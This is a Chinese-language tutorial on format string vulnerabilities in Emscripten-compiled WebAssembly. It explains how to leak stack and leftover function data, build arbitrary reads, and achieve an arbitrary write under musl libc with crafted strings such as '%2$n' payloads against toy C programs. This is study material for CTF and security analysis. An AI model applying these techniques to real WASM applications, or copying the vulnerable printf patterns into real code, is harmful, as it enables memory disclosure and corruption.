WASM格式化字符串攻击尝试
字数 1197 2025-08-05 08:20:09
WASM格式化字符串攻击技术详解
前置知识
WASM内存模型
- WASM不是ASM(汇编语言),但可以提升复杂计算(如游戏)的性能
- WASM内存布局与x86体系不同,分为:
- 线性内存:主要存储区域
- 执行堆栈:保存函数参数
- 局部变量:部分变量直接存储
函数调用机制
- 调用函数时,参数保存在执行堆栈中
- 以
printf为例,其原型为int printf(const char * restrict fmt, ...)- 第一个参数:格式化字符串
- 第二个参数:格式化字符串参数列表(变长参数)
基础格式化字符串漏洞
基本示例
#include <emscripten.h>
#include <stdio.h>
void EMSCRIPTEN_KEEPALIVE test() {
sprintf("%d%d%d%d", 1, 2, 3, 4);
return;
}
- 编译命令:
emcc test.c -s WASM=1 -o test.js -g3 - 调用
printf时执行堆栈内容:stack: 0: 1900 1: 4816- 1900和4816分别指向线性内存中的格式化字符串和参数
泄露栈上变量
void EMSCRIPTEN_KEEPALIVE test() {
int i[0x2];
i[0] = 0x41414141;
i[1] = 0x42424242;
sprintf("%d%d%d%d");
return;
}
- 执行堆栈:
stack: 0: 1900 1: 4816 - 4816是
va_list指针,线性内存中可看到变量i的值:4816: 0 4817: 0 ... 4824: 65 ('A') 4825: 65 ('A') 4826: 65 ('A') 4827: 65 ('A') 4828: 66 ('B') 4829: 66 ('B') 4830: 66 ('B') 4831: 66 ('B')
泄露被调用函数中的值
void sub() {
char password[] = "password";
return;
}
void EMSCRIPTEN_KEEPALIVE test() {
sub();
printf("%d%d%d%d%d%d");
return;
}
- 函数返回后线性内存不会清除
va_list会覆盖之前调用sub()时留下的值- 可以泄露
password字符串
任意读技术
方法1:在格式化字符串中构造地址
void EMSCRIPTEN_KEEPALIVE main() {
char fmt[0xf] = "%d%d%d%s\x00\x13\x00\x00";
printf(fmt);
puts("");
return;
}
- 格式化字符串构造为
%d%d%d%s[addr] - 地址放在最后(避免被
\x00截断) - 线性内存布局:
+-4864| ./th is.p rogr am\x00 va_list| \x00 d%d d%s addr_4864
方法2:通过溢出构造地址
void EMSCRIPTEN_KEEPALIVE main() {
char fmt[0x10] = "%d%d%d%s\x00\x13\x00\x00";
printf(fmt);
puts("");
return;
}
- 当
fmt大小超过0x10时,va_list会位于fmt下方 - 可以通过溢出覆盖
va_list:
void EMSCRIPTEN_KEEPALIVE main() {
char fmt[0x10] = "%sAABBBBCCCCDDDD";
fmt[0x10] = '\x00';
fmt[0x11] = '\x13';
printf(fmt);
puts("");
return;
}
方法3:通过函数调用构造地址
void sub() {
char target[] = "\x00\x13\x00\x00";
}
void EMSCRIPTEN_KEEPALIVE main() {
char fmt[0x10] = "%d%d%d%d%s";
sub();
printf(fmt);
puts("");
return;
}
任意写技术
musl libc的限制
Emscripten使用musl libc而非glibc,其printf实现有以下特点:
- 存在
%(k+1)$n则必须存在%(k)$n (k)与(k+1)之间没有先后顺序- 最多有
NL_ARGMAX个格式化字符串标志 - 需要在
%d之前使用%k$d
任意写示例
#include <emscripten.h>
#include <stdio.h>
#include <string.h>
int flag;
void getflag() {
if(flag == 1) {
printf("YouGotIt!\n");
}
return;
}
void EMSCRIPTEN_KEEPALIVE main() {
flag = 3;
char fmt[0x10];
memcpy(fmt, "A%2$n%1$xBBBCCCCDDDD\xe0\x0b\x00\x00", 24);
printf(fmt);
getflag();
return;
}
flag地址为0xbe0- 构造特殊的格式化字符串绕过musl限制
内存布局特点
-
变量存储规则:
- 简单变量(如
int i)存储在局部变量中 - 需要分配内存的变量(如
char s[0x10])存储在线性内存中
- 简单变量(如
-
声明顺序影响:
- 通常先声明的变量位于高地址,后声明的位于低地址
- 示例:
内存布局:char arr1[0x10]; char arr2[0x20]; char arr3[0x30];+-low addr|arr1 arr2 arr3 high addr
-
优化例外:
- 需要内存小于0x10时,可能被统一放到高地址处
总结
WASM环境下的格式化字符串攻击技术要点:
-
泄露技术:
- 直接泄露栈上变量
- 泄露被调用函数残留值
- 构造地址实现任意读
-
写入技术:
- 需考虑musl libc的特殊限制
- 构造特殊格式化字符串实现任意写
-
内存布局利用:
- 理解变量存储位置规则
- 利用声明顺序和优化特性
-
攻击方法选择:
- 根据目标地址位置选择构造方式
- 考虑使用溢出或函数调用辅助构造地址
这些技术在WASM二进制安全分析和漏洞利用中具有重要价值,特别是在CTF竞赛和实际应用安全评估中。